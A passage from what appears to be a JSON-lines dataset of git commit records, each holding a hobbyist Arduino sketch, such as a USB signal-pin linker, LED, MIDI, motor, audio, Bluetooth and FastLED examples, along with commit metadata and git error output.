AUL_NT_SPINPINHIGH \\\n while (AUL_PINREAD) { if (TCNT2 > 250) goto timeout; }\n\n#define AUL_NT_SPINPINLOW \\\n while (!AUL_PINREAD) { if (TCNT2 > 250) goto timeout; }\n\n#define AUL_READBIT \\\n AUL_SPINPINHIGH \\\n AUL_NT_SPINPINLOW \\\n if (TCNT2 <= g_shortBitTime) \\\n { \\\n AUL_SPINPINHIGH \\\n AUL_NT_SPINPINLOW \\\n b = 0; \\\n } \\\n else \\\n b = 1;\n\nstatic int8_t ReadLeader()\n{\n uint8_t i;\n \n \/\/ Skip the first few to let things stabilize\n for (i = 0; i < 9; i++)\n {\n AUL_SPINPINHIGH\n AUL_NT_SPINPINLOW\n }\n\n#ifndef AUL_FIXED_TIMING\n \/\/ Calculate timing from header\n AUL_SPINPINHIGH\n AUL_NT_SPINPINLOW\n g_bitTime = TCNT2;\n g_shortBitTime = (g_bitTime >> 1) + (g_bitTime >> 2);\n#else\n \/\/ Use fixed timing\n g_bitTime = g_bitTimeSend << 1;\n g_shortBitTime = g_bitTimeSend + g_bitTimeSendHalf;\n#endif\n\n \/\/ Read until we get a 0 bit\n while (1)\n {\n uint8_t b;\n AUL_READBIT \/\/ Sets b to the bit value\n \n if (!b)\n return 0;\n }\n\ntimeout:\n return -1;\n}\n\nstatic void SetBitTime(uint16_t t)\n{\n if (t < AUL_MIN_BITTIME)\n t = AUL_MIN_BITTIME;\n else if (t > AUL_MAX_BITTIME)\n t = AUL_MAX_BITTIME;\n\n if (t * (F_CPU \/ 1000000) < 242)\n {\n g_timerScale = 2;\n g_timerConfig = (1 << CS20);\n }\n else if (t * (F_CPU \/ 1000000) \/ 8 < 242)\n {\n g_timerScale = 16;\n g_timerConfig = (1 << CS21);\n }\n else if (t * (F_CPU \/ 1000000) \/ 32 < 242)\n {\n g_timerScale = 64;\n g_timerConfig = (1 << CS21) | (1 << CS20);\n }\n else\n {\n return; \/\/ invalid time, no change\n }\n\n g_bitTimeSend = AUL_MICROS_TO_TICKS(t);\n g_bitTimeSendHalf = (g_bitTimeSend >> 1);\n}\n\n#if !defined(MULTIWII)\nstatic uint32_t EERead32(int pos)\n{\n uint32_t value;\n ((char*)&value)[0] = EEPROM.read(pos);\n ((char*)&value)[1] = EEPROM.read(pos + 1);\n ((char*)&value)[2] = EEPROM.read(pos + 2);\n ((char*)&value)[3] = EEPROM.read(pos + 3);\n return value;\n}\n\nstatic void EEWrite32(int pos, uint32_t value)\n{\n EEPROM.write(pos, ((char*)&value)[0]);\n EEPROM.write(pos + 1, ((char*)&value)[1]);\n EEPROM.write(pos + 2, ((char*)&value)[2]);\n EEPROM.write(pos + 3, ((char*)&value)[3]);\n}\n#endif \/\/ !MULTIWII\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Main\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nvoid AUL_loop(uint8_t port)\n{\n \/\/ Disable interrupts and timers\n cli();\n DisableAllTimers();\n \n #if defined(MULTIWII)\n #if defined(BUZZERPIN_OFF)\n BUZZERPIN_OFF;\n #endif\n #if defined(LEDPIN_OFF)\n LEDPIN_OFF;\n #endif\n #endif\n \n #if defined(MULTIWII)\n AUL_SerialInit(port);\n SetBitTime(AUL_DEFAULT_BITTIME);\n SignalPinInit(AUL_DEFAULT_PIN);\n #else\n if (EEPROM.read(0) != 'a' ||\n EEPROM.read(1) != 'u' ||\n EEPROM.read(2) != 'l')\n {\n EEPROM.write(0, 'a');\n EEPROM.write(1, 'u');\n EEPROM.write(2, 'l');\n EEPROM.write(3, 1); \/\/ version\n EEPROM.write(AUL_EEPROM_PIN, AUL_DEFAULT_PIN);\n EEPROM.write(AUL_EEPROM_BITTIME, AUL_DEFAULT_BITTIME);\n EEWrite32(AUL_EEPROM_BAUD, AUL_SERIALRATE);\n }\n\n SignalPinInit(EEPROM.read(AUL_EEPROM_PIN)); \n SetBitTime(EEPROM.read(AUL_EEPROM_BITTIME));\n\n g_baudRate = EERead32(AUL_EEPROM_BAUD);\n AUL_SerialInit(port);\n \n sei(); \/\/ Re-enable interrupts for Serial\n #endif\n\n \/\/ Set timer2 to count ticks\n AUL_SET_TIMER_MODE;\n\n \/\/ The buffer always has the leader at the start\n uint8_t buf[AUL_BUFSIZE] = { 0xFF, 0xFF, 0x7F };\n uint8_t lastPin = 0;\n int16_t buflen, i;\n\n while (1)\n {\n if (AUL_SerialAvailable())\n {\n buflen = 3;\n buf[buflen++] = AUL_SerialRead();\n \n \/\/ Temporarily set timer2 to count ticks\/128\n#if defined(__AVR_ATmega8__)\n TCCR2 = (1 << CS22) | (1 << CS20); \n#else\n TCCR2B = (1 << CS22) | (1 << CS20); \n#endif\n AUL_SYNC_PRESCALER;\n TCNT2 = 0; \n \/\/ Buffer data until the serial timeout\n do {\n if (AUL_SerialAvailable())\n {\n buf[buflen++] = AUL_SerialRead();\n TCNT2 = 0;\n }\n } while (TCNT2 < AUL_SERIALTIMEOUT);\n \n \/\/ Set timer2 back to normal\n AUL_SET_TIMER_MODE;\n \n if (buf[3] == '$' && buf[4] == 'M' && buf[5] == '<')\n {\n#if !defined(MULTIWII)\n int8_t setbaud = 0;\n#endif\n\n buf[buflen] = '\\0';\n \n switch(buf[6])\n {\n case 'B': { \/\/ BITTIME\n SetBitTime(AUL_atoi((const char*)&buf[7]));\n break; }\n case 'P': \/\/ SELECT PORT\n SignalPinInit(AUL_atoi((const char*)&buf[7]));\n break;\n#if !defined(MULTIWII)\n case 'R': \/\/ BAUD RATE\n g_baudRate = AUL_atoi((const char*)&buf[7]);\n\n if (g_baudRate < 9600)\n g_baudRate = 9600;\n\n setbaud = 1;\n break;\n case 'W': \/\/ WRITE EEPROM settings\n EEPROM.write(AUL_EEPROM_PIN, g_signalPinNum);\n EEPROM.write(AUL_EEPROM_BITTIME, AUL_MICROS_TO_TICKS_R(g_bitTimeSend));\n EEWrite32(AUL_EEPROM_BAUD, g_baudRate);\n AUL_SerialWriteStr(\"saved:\");\n break;\n#endif \/\/ !MULTIWII\n default:\n break;\n }\n \n \/\/ Send status afterwards\n char* pos = (char*)&buf[3];\n *pos++ = 'P';\n pos = AUL_itoa(g_signalPinNum, pos);\n pos[0] = ':';\n pos[1] = 'B';\n pos += 2;\n pos = AUL_itoa(AUL_MICROS_TO_TICKS_R(g_bitTimeSend), pos);\n pos[0] = ':';\n pos[1] = 'R';\n pos += 2;\n pos = AUL_itoa(g_baudRate, pos);\n *pos++ = ':';\n \n SignalPinStatus(pos);\n \n AUL_SerialWriteStr((const char*)&buf[3]);\n AUL_SerialWrite('\\n');\n \n#if !defined(MULTIWII)\n if (setbaud)\n {\n \/\/ Arduino Serial.flush does not work correctly\n Serial.flush();\n \n \/\/ Temporarily set timer2 to count ticks\/128\n#if defined(__AVR_ATmega8__)\n TCCR2 = (1 << CS22) | (1 << CS20); \n#else\n TCCR2B = (1 << CS22) | (1 << CS20); \n#endif\n AUL_DELAYTICKS(AUL_SERIALTIMEOUT);\n AUL_DELAYTICKS(AUL_SERIALTIMEOUT);\n AUL_SET_TIMER_MODE;\n \n AUL_SerialInit(port);\n }\n#endif \/\/ !MULTIWII\n }\n else\n {\n AUL_PINOUTPUT;\n AUL_SYNC_PRESCALER;\n\n \/\/ Send data over signal pin\n for (i = 0; i < buflen; i++)\n SendByte(buf[i]);\n \n \/\/ Trailer\n AUL_PINHIGH;\n AUL_DELAYTICKS(g_bitTimeSendHalf);\n\n AUL_PININPUT; \/\/ Pull-up is enabled from previous PINHIGH\n lastPin = 1;\n }\n }\n else\n {\n \/\/ Here we look for a low to high transition on the signal pin\n uint8_t curPin = AUL_PINREAD;\n \n if (!lastPin && curPin)\n {\n AUL_SYNC_PRESCALER;\n \n \/\/ Buffer data from signal pin then write to serial port\n if (ReadLeader() == 0)\n {\n uint8_t i, byt, b;\n buflen = 3;\n \n \/\/ Read bytes until timeout\n while (1)\n {\n for (i = 0, byt = 0; i < 8; i++)\n {\n AUL_READBIT \/\/ Sets b to the bit value\n byt |= b << i;\n }\n \n buf[buflen++] = byt;\n }\n\ntimeout:\n AUL_SerialWriteBuf(&buf[3], buflen - 3);\n }\n }\n\n lastPin = curPin;\n }\n }\n}\n\n#if !defined(MULTIWII)\n\nint main(int argc, char* argv[])\n{\n AUL_loop(0);\n return 0;\n}\n\n#endif \/\/ !MULTIWII\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/ArduinoUSBLinker\/ArduinoUSBLinker.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"17e31757b208a48ab6d7b6c6bfa87d902031be26","subject":"Added Arduino code","message":"Added Arduino code\n","repos":"robot-army\/gazecontrol","old_file":"Arduino_LEDs\/Arduino_LEDs.ino","new_file":"Arduino_LEDs\/Arduino_LEDs.ino","new_contents":"#include <Adafruit_NeoPixel.h>\n#include <string.h>\n\n\n#define PIN 6\n#define NUMPIXELS 28\n#define ARRAYSIZE 38\n#define MAXWIDTH 4\n#define MINWIDTH 1\n#define MAXDIST 1000\n\nAdafruit_NeoPixel pixels = Adafruit_NeoPixel(NUMPIXELS, PIN, NEO_RGB + NEO_KHZ800);\n\n \n int b[ARRAYSIZE];\n int c[ARRAYSIZE];\n int d[ARRAYSIZE];\n\n\nvoid setup() {\n Serial.begin(115200);\n pixels.begin();\n \n \/\/lazy array initialization - fix hacked bounds\n for(int i=0; i<ARRAYSIZE; i++) {\n d[i] = c[i] = b[i] = 0;\n }\n}\n\nvoid loop() {\n int angle = 0;\n int distance = 1000;\n int centreled;\n float dist;\n String inputstring;\n String dist_string;\n String angle_string;\n int refresh=0;\n\n\/\/these for loops are for testing only, they'll be replaced with a Serial.read() when connected to the other thing\n\/\/\n\/\/for(distance=1000; distance > 50; distance=distance-100){\n\/\/ for(angle=0;angle<360;angle=angle+10){\nwhile (Serial.available()){\n inputstring = Serial.readStringUntil('A');\n refresh = 1;\n}\n dist_string = inputstring.substring(0,4);\n angle_string = inputstring.substring(4,8);\n angle = angle_string.toInt();\n distance = dist_string.toInt();\n\n \nif(distance==0){\n distance = 1000;\n}\n \/\/lazy array initialization - fix hacked bounds\n for(int i=0; i<ARRAYSIZE; i++) {\n d[i] = c[i] = b[i] = 0;\n }\n\n\/\/ Serial.print(\"Distance: \");\n\/\/ Serial.print(distance);\n\/\/ Serial.print(\" Angle: \");\n\/\/ Serial.print(angle);\n\/\/ Serial.print(\" Refresh: \");\n\/\/ Serial.println(refresh);\n \n centreled = map(angle,0,360,0,NUMPIXELS);\n\n delay(40);\n \n dist = map(distance,0,MAXDIST,MAXWIDTH,MINWIDTH);\n\n\n\n \n \/\/make the ramp one-sided\n for(int i=0; i<(dist+1); i++) {\n b[i] = 255*float(i\/dist);\n if(distance==1000){\n b[i] = 0;\n }\n }\n\n \n\n \/\/make the ramp two sided\n for(int i=0; i<(2*dist)+1; i++) {\n int disti = dist-(i-dist);\n if(i<dist) c[i] = b[i];\n if(i>=dist & i<(2*dist)+1) c[i] = b[disti];\n if(i>=(2*dist)+1) c[i] = 0; \n }\n\n\n \/\/centre the ramp around the right pixel and set the pixel colour\n for(int i=0; i<NUMPIXELS; i++) {\n int index = (centreled-i+int(dist)) % (NUMPIXELS);\n pixels.setPixelColor(i,0,c[index],c[index]); \n }\n\n if(refresh == 1){\n pixels.show(); \/\/ This sends the updated pixel color to the hardware.\n refresh = 0;\n }\n \n }\n\/\/}\n\/\/}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino_LEDs\/Arduino_LEDs.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"99872d690f7ca208f3795188ebc66680a08ec066","subject":"Create main.ino","message":"Create main.ino","repos":"HyDz\/ZoomMRT-3B_MIDI_USB","old_file":"main.ino","new_file":"main.ino","new_contents":"\/*\n * ZoomMRT-3B_MIDI_USB\n *\n * Created: 13\/3\/2017 \n * Author: HyDz\n * USB Midified ZoomMRT-3B for Traktor\n * \n *\/ \n \n#include \"MIDIUSB.h\"\n#include <inputs.h>\n#include <outputs.h>\n\nvoid setup(){\nSerial.begin(115200);\n\nfor (int i=2, i<=7, i++){pinMode(i, INPUT);} \/\/ Set Inputs\n\nfor (int i=22, i<=35, i++){pinMode(i, INPUT);} \/\/ Set Inputs\n\nfor (int i=36, i<=52, i++){pinMode(i, OUTPUT);} \/\/ Set Outputs\n\n}\n\nvoid loop(){\nvoid getMidiIn();\nvoid setMidiOut();\n}\n\nvoid noteOn(byte channel, byte pitch, byte velocity) {\n midiEventPacket_t noteOn = {0x09, 0x90 | channel, pitch, velocity};\n MidiUSB.sendMIDI(noteOn);\n}\n\nvoid noteOff(byte channel, byte pitch, byte velocity) {\n midiEventPacket_t noteOff = {0x08, 0x80 | channel, pitch, velocity};\n MidiUSB.sendMIDI(noteOff);\n}\n\nvoid controlChange(byte channel, byte control, byte value) {\n midiEventPacket_t event = {0x0B, 0xB0 | channel, control, value};\n MidiUSB.sendMIDI(event);\n}\n\nvoid getMidiIn(){\n\n}\n\nvoid setMidiOut(){\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'main.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"579a6b7bf1911370cccb53afe31ea12bf3bca2d7","subject":"add YunTimestamp example","message":"add YunTimestamp example\n","repos":"exosite-garage\/arduino_exosite_library","old_file":"examples\/YunTimestamp\/YunTimestamp.ino","new_file":"examples\/YunTimestamp\/YunTimestamp.ino","new_contents":"\/\/*****************************************************************************\n\/\/\n\/\/ YunTimestamp - This is the simplest example, all it does is read the\n\/\/ current time as a unix timestamp from\n\/\/ m2.exosite.com\/timestamp. This example is useful for\n\/\/ debugging connectivity issues.\n\/\/\n\/\/ Copyright (c) 2015 Exosite LLC. All rights reserved.\n\/\/\n\/\/ Redistribution and use in source and binary forms, with or without\n\/\/ modification, are permitted provided that the following conditions are met:\n\n\/\/ * Redistributions of source code must retain the above copyright notice,\n\/\/ this list of conditions and the following disclaimer.\n\/\/ * Redistributions in binary form must reproduce the above copyright\n\/\/ notice, this list of conditions and the following disclaimer in the\n\/\/ documentation and\/or other materials provided with the distribution.\n\/\/ * Neither the name of Exosite LLC nor the names of its contributors may\n\/\/ be used to endorse or promote products derived from this software\n\/\/ without specific prior written permission.\n\/\/\n\/\/ THIS SOFTWARE IS PROVIDED \"AS IS\" AND WITH ALL FAULTS.\n\/\/ NO WARRANTIES, WHETHER EXPRESS, IMPLIED OR STATUTORY, INCLUDING, BUT\n\/\/ NOT LIMITED TO, IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n\/\/ A PARTICULAR PURPOSE APPLY TO THIS SOFTWARE. TI SHALL NOT, UNDER ANY\n\/\/ CIRCUMSTANCES, BE LIABLE FOR SPECIAL, INCIDENTAL, OR CONSEQUENTIAL\n\/\/ DAMAGES, FOR ANY REASON WHATSOEVER.\n\/\/\n\/\/*****************************************************************************\n\n#include <EEPROM.h>\n#include <SPI.h>\n#include <Bridge.h>\n#include <Process.h>\n#include <YunClient.h>\n#include <Exosite.h>\n\n\/*==============================================================================\n* No Configuration Variables\n*=============================================================================*\/\n\nunsigned long time;\nchar macString[18]; \/\/ Used to store a formatted version of the MAC Address\n\nclass YunClient client;\nExosite exosite(&client);\n\n\n\/*==============================================================================\n* setup\n*\n* Arduino setup function.\n*=============================================================================*\/\nvoid setup(){\n Bridge.begin();\n Serial.begin(115200);\n Serial.println(\"Boot\");\n \n getYunMAC(macString, 18);\n\n \/\/ Print Some Useful Info\n Serial.print(F(\"MAC Address: \"));\n Serial.println(macString);\n\n Serial.print(F(\"Unique Identifier: \"));\n Serial.println(macString);\n \n Serial.print(F(\"Exo Arduino Lib Ver: \"));\n Serial.println(ACTIVATOR_VERSION);\n}\n\n\/*==============================================================================\n* loop\n*\n* Arduino loop function.\n*=============================================================================*\/\nvoid loop(){\n \/\/Write to \"uptime\" and read from \"uptime\" and \"command\" datasources.\n Serial.println(\"---- Check Time ----\");\n if ((time = exosite.time()) != 0){\n Serial.println(\"OK\");\n Serial.print(\"Got Timestamp: \");\n Serial.println(time);\n }else{\n Serial.println(\"Error, Couldn't Get Timestamp\");\n }\n\n delay(5000);\n}\n\n\n\/*==============================================================================\n* getYunMac\n*\n* Send bash command to Linux side to read WiFi MAC address.\n*=============================================================================*\/\nvoid getYunMAC(char* MACptr, byte bufSize) {\n Process p; \/\/ Create a process and call it \"p\"\n p.runShellCommand(\"\/sbin\/ifconfig -a | \/bin\/grep HWaddr |\/bin\/grep wlan0 | \/usr\/bin\/awk '{print $5}'\");\n\n for(int i = 0; i < (bufSize-1) && p.available() > 0; i++) {\n MACptr[i] = p.read();\n MACptr[i+1] = 0;\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/YunTimestamp\/YunTimestamp.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"14c4b6ec0d346c6c1171e34dc9b72ee3dd279c9f","subject":"Add starter example","message":"Add starter example\n","repos":"rlisle\/ParticleIoT,rlisle\/Patriot,rlisle\/Patriot,rlisle\/Patriot,rlisle\/ParticleIoT,rlisle\/ParticleIoT,rlisle\/Patriot","old_file":"Photon\/IoTlib\/examples\/starter\/starter.ino","new_file":"Photon\/IoTlib\/examples\/starter\/starter.ino","new_contents":"\/******************************************************************\nExample starting point sketch for ParticleIoT library\n\nThis example uses the built-in LED only.\nIt is provided as a quick start for your own sketches.\n\nhttp:\/\/www.github.com\/rlisle\/Patriot\n\nWritten by Ron Lisle\n\nBSD license, check LICENSE for more information.\nAll text above must be included in any redistribution.\n\nChangelog:\n2017-03-11: Initial creation\n******************************************************************\/\n\n#include <IoT.h>\nIoT *iot;\n\nvoid setup() {\n iot = IoT::getInstance();\n iot->setControllerName(\"ParticleIoT\");\n iot->setPublishName(\"RonsRV\"); \/\/ Set all devices to the same event name\n iot->begin();\n\n iot->addLight(D7, 'Led');\n \/\/ Alexa will repsond to \"Alexa, turn lights on\" or \"Alexa, turn on lights\"\n iot->addBehavior('Led', new Behavior('Lights','>',0, 100));\n}\n\nvoid loop() {\n iot->loop();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Photon\/IoTlib\/examples\/starter\/starter.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"5c2d0f2d38df7def65d39930d1d2db2b773b141c","subject":"One more example","message":"One more example\n","repos":"samguyer\/adel","old_file":"examples\/delayedblink.ino","new_file":"examples\/delayedblink.ino","new_contents":"#include <adel.h>\n\n\/** Turn a blinking light on and off with a button\n * \n * This is a weird version of buttonblink in which the buttons take 1s to take\n * effect. It's a very easy change to make to the Adel program (just add an\n * adelay after the button), but very hard for regular Arduino programs.\n *\/\n\n#define LED_PIN 3\n#define BUTTON_PIN 6\n\nvoid setup()\n{\n pinMode(LED_PIN, OUTPUT);\n pinMode(BUTTON_PIN, INPUT);\n}\n\n\/** Wait for a button\n *\/\nadel waitbutton(int pin)\n{\n abegin:\n while (1) {\n await (digitalRead(pin) == HIGH);\n adelay (50);\n if (digitalRead(pin) == HIGH) {\n await (digitalRead(pin) == LOW);\n afinish;\n }\n }\n aend;\n}\n\n\/** Delayed button\n * Waits for a second after the button is pressed\n *\/\nadel delayedbutton(int pin)\n{\n abegin:\n andthen( waitbutton(pin) );\n adelay(1000);\n aend;\n}\n\n\/** blink\n * \n * Blink an LED continuously at some interval\n *\/\nadel blink(int pin, int interval)\n{\n abegin:\n while (1) {\n digitalWrite(pin, HIGH);\n adelay(interval);\n digitalWrite(pin, LOW);\n adelay(interval);\n }\n aend;\n}\n\nadel buttonblink()\n{\n abegin:\n andthen( delayedbutton(BUTTON_PIN) );\n auntil( delayedbutton(BUTTON_PIN), blink(LED_PIN, 300) );\n aend;\n}\n\nvoid loop()\n{\n arepeat( buttonblink() );\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/delayedblink.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"2506f8e0e6633029d717e386384a1917ff6edc68","subject":"added arduino sketch","message":"added arduino sketch\n","repos":"oloturia\/atmega8_test","old_file":"test_atmega8\/test_atmega8.ino","new_file":"test_atmega8\/test_atmega8.ino","new_contents":"void setup() {\n Serial.begin(9600);\n Serial.println(\"Ready\");\n pinMode(5,OUTPUT); \/\/fw motor 1\n pinMode(6,OUTPUT); \/\/bk motor 1\n pinMode(7,OUTPUT); \/\/fw motor 2\n pinMode(8,OUTPUT); \/\/bk motor 2\n pinMode(9,OUTPUT); \/\/analog motor 1\n pinMode(10,OUTPUT);\/\/analog motor 2\n}\n\nvoid motorAction(int fwm, int bkm,int anm,int motspeed) {\n if (motspeed > 0 ) {\n digitalWrite(fwm,HIGH);\n digitalWrite(bkm,LOW);\n } else if (motspeed < 0) {\n digitalWrite(fwm,LOW);\n digitalWrite(bkm,HIGH);\n } else {\n digitalWrite(fwm,LOW);\n digitalWrite(bkm,LOW);\n }\n analogWrite(anm,abs(motspeed));\n}\n\nvoid loop() {\n int x;\n int y;\n while (Serial.available() >0) {\n int x = Serial.parseInt();\n int y = Serial.parseInt();\n if (Serial.read() == *\"q\") {\n motorAction(5,6,9,x);\n motorAction(7,8,10,y);\n Serial.print(x);\n Serial.print(\" \");\n Serial.println(y);\n }\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'test_atmega8\/test_atmega8.ino' did not match any file(s) known to git\n","license":"unlicense","lang":"Arduino"} {"commit":"77ad7f0051afc275c3103a01e944fb622cefa0e9","subject":"V0.6.3 Add audio record to SD example","message":"V0.6.3 Add audio record to SD example","repos":"LinkItONEDevGroup\/LASS,LinkItONEDevGroup\/LASS,LinkItONEDevGroup\/LASS,LinkItONEDevGroup\/LASS,LinkItONEDevGroup\/LASS,LinkItONEDevGroup\/LASS,LinkItONEDevGroup\/LASS,LinkItONEDevGroup\/LASS,LinkItONEDevGroup\/LASS,LinkItONEDevGroup\/LASS","old_file":"Device_LinkItOne\/Example\/AudioRecordSD.ino","new_file":"Device_LinkItOne\/Example\/AudioRecordSD.ino","new_contents":"\/*\n File: AudioRecordSD.ino\n Purpose:\n Record audio from mic and store to SD\n Original:\n The sample come from MediaTek Lab forum, the contribution of zhyena\n http:\/\/labs.mediatek.com\/forums\/posts\/list\/135.page\n*\/\n#include \"vmmm.h\"\n#include \"LTask.h\"\n#include <LAudio.h>\n\/\/#include \"vmio.h\"\n#include <LSD.h>\n#include <LStorage.h>\n#define Drv LSD\n\nVMINT res = 0;\nvoid cb(VMINT result) {\n res = result;\n}\nstatic boolean record_start(void *userData) {\n VMINT16 filename[32];\n vm_record_start(\"E\", \"\\\\\", \"1\", VM_FORMAT_AMR, filename, cb); \/\/ drv_name: \"C\"- Internal flash, \"E\"-SD, usd vm_get_removable_driver to get the correct drv_name \/\/vm_record_start((VMSTR)drv, \"\\\\\", \"1\", VM_FORMAT_AMR, filename, cb);\n return true;\n}\n\nstatic boolean record_stop(void* userData) {\n vm_record_stop();\n return true;\n}\nvoid setup() {\n pinMode(13, OUTPUT);\n Serial.begin(115200);\n LAudio.begin();\n LAudio.setVolume(6);\n Drv.begin();\n}\nboolean record_flag = false;\nunsigned long start_time, record_time;\nvoid loop() {\n int button = analogRead(A0);\n Serial.println(button);\n if (record_flag == false)\n {\n if (button >= 500)\n {\n LTask.remoteCall(&record_start, NULL);\n record_flag = true;\n digitalWrite(13, HIGH);\n start_time = millis();\n }\n }\n else\n {\n if (button < 500)\n {\n LTask.remoteCall(&record_stop, NULL);\n record_time = millis();\n\n if (record_time >= start_time)\n record_time -= start_time;\n else\n record_time = 4294967295 - start_time + record_time;\n delay(1000);\n LAudio.playFile(storageSD, \"1.amr\"); \/\/ storageFlash\n delay(1000 + record_time);\n record_flag = false;\n digitalWrite(13, LOW);\n }\n }\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Device_LinkItOne\/Example\/AudioRecordSD.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"00f74121ab2d66fdac6e25ecf881720c18883101","subject":"Adding TrollCircuit Project","message":"Adding TrollCircuit Project\n","repos":"guax\/arduino-sketchbook","old_file":"TrollCircuit\/TrollCircuit.ino","new_file":"TrollCircuit\/TrollCircuit.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/guax\/arduino-sketchbook.git\/'\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"249350b3769478478c1c2696a72d927278d7c858","subject":"Matrix Math example EKF w\/ known corresp.","message":"Matrix Math example EKF w\/ known corresp.\n","repos":"buckbaskin\/MatrixMath","old_file":"examples\/EKF_known_corr\/EKF_known_corr.ino","new_file":"examples\/EKF_known_corr\/EKF_known_corr.ino","new_contents":"#include <MatrixMath.h>\n#include <rate.h>\n\n#define N (5)\n\/*\n * State = x, y, heading, linear vel, angular vel\n *\/\nfloat last_mean[N] = {0};\nfloat last_covar[N][N] = {0};\n\nRate rate(10.0);\n\nvoid setup() {\n Serial.begin(9600);\n \/\/ put your setup code here, to run once:\n for (int i = 0; i < N; i++) {\n last_covar[i][i] = .1;\n }\n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n \n rate.sleep();\n}\n\nvoid ekf_known_correspondences(float* last_mean, float* last_covar, float* ctrl, float* mes, int* cor, float* m) {\n \/\/ mu hat\n float temp[N];\n \/\/ TODO calc temp from control\n float temp_mean[N];\n Matrix.Add((float*) last_mean, (float*) temp, N, N, (float*) temp_mean);\n\n \/\/ jacobian of motion model G\n float G[N][N] = {0};\n\n \/\/ sigma hat\n float temp_sigma[N][N];\n float temp2[N][N];\n float R[N][N];\n Matrix.Multiply((float*) G, (float*) last_covar, N, N, N, (float*) temp2);\n Matrix.Transpose((float*) G, N, N, (float*) G);\n Matrix.Multiply((float*) temp2, (float*) G, N, N, N, (float*) temp2);\n Matrix.Add((float*) temp2, (float*) R, N, N, (float*) temp_sigma);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/EKF_known_corr\/EKF_known_corr.ino' did not match any file(s) known to git\n","license":"cc0-1.0","lang":"Arduino"} {"commit":"947d31c5b524982eae51d69dc03006ad149f4e4b","subject":"Adds example","message":"Adds example\n","repos":"ZackeesInc\/EZBlueSmirfUART","old_file":"examples\/EZBlueSmirfUARTExample\/EZBlueSmirfUARTExample.ino","new_file":"examples\/EZBlueSmirfUARTExample\/EZBlueSmirfUARTExample.ino","new_contents":"\/\/ Use hardware or software serial. In this instance we use Seria1, which is pin 0 & 1 on\n\/\/ teensy LC. DO NOT SET AS SERIAL or bad things will happen.\n#define Bluetooth Serial1\n\/\/#define BT_NOVERBOSE\n\n\/\/ Including this file will pull in Bluetooth.\n#include \"EZBlueSmirfUART.h\"\n\nvoid setup() {\n Serial.begin(9600);\n BT_BondPrivatelyWith(\"00066673E605\", \"00066673E631\");\n}\n\nvoid loop() {\n BT_Echo();\n}","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/EZBlueSmirfUARTExample\/EZBlueSmirfUARTExample.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"aa41467e6c79e182042ce971d7edc7c5644c2438","subject":"Create memmove8_pattern_copy.ino","message":"Create memmove8_pattern_copy.ino","repos":"marmilicious\/FastLED_examples","old_file":"memmove8_pattern_copy.ino","new_file":"memmove8_pattern_copy.ino","new_contents":"\/\/***************************************************************\n\/\/ Example of using memmove8 to transfer pixel data around.\n\/\/\n\/\/ A pattern we want to repeat is assigned to the first four pixels.\n\/\/ That color data is then repeated down the rest of the strip by\n\/\/ using memmove8 to copy it to the other pixels.\n\/\/\n\/\/ The snytax for memmove8 is:\n\/\/ memmove8( &destination[start position], &source[start position], size of pixel data )\n\/\/\n\/\/ The above is written as \"size of pixel data\" instead of \"number\n\/\/ of pixels\" because in this case it would be the number of\n\/\/ pixels x 3. Three because our current CRGB has data for three\n\/\/ color channels: RGB.\n\/\/ In code we can write that as: pixels * sizeof(CRGB).\n\/\/\n\/\/ *NOTE*:\n\/\/ The destination start position must be correct and you\n\/\/ need to be carful about not going past the end of the strip,\n\/\/ otherwise bad things can happen in memory. If the number\n\/\/ of pixels in your strip does not divide up evenly with the\n\/\/ number of pixels you are copying you will need to manually\n\/\/ copy the last few pixels. Do not copy pixel data to pixels\n\/\/ that don't exist (ie greater then leds[NUM_LEDS-1]). It will\n\/\/ cause weird memory issues.\n\/\/\n\/\/ Marc Miller, April 2020\n\/\/***************************************************************\n\n\n#include \"FastLED.h\"\n#define LED_TYPE LPD8806\n#define DATA_PIN 11\n#define CLOCK_PIN 13\n#define COLOR_ORDER GRB\n#define BRIGHTNESS 50\n#define NUM_LEDS 32\n\nCRGB leds[NUM_LEDS];\n\n\n\/\/---------------------------------------------------------------\nvoid setup() {\n Serial.begin(115200); \/\/ Allows serial monitor output (check baud rate)\n delay(2000); \/\/ Startup delay\n FastLED.addLeds<LED_TYPE, DATA_PIN, CLOCK_PIN, 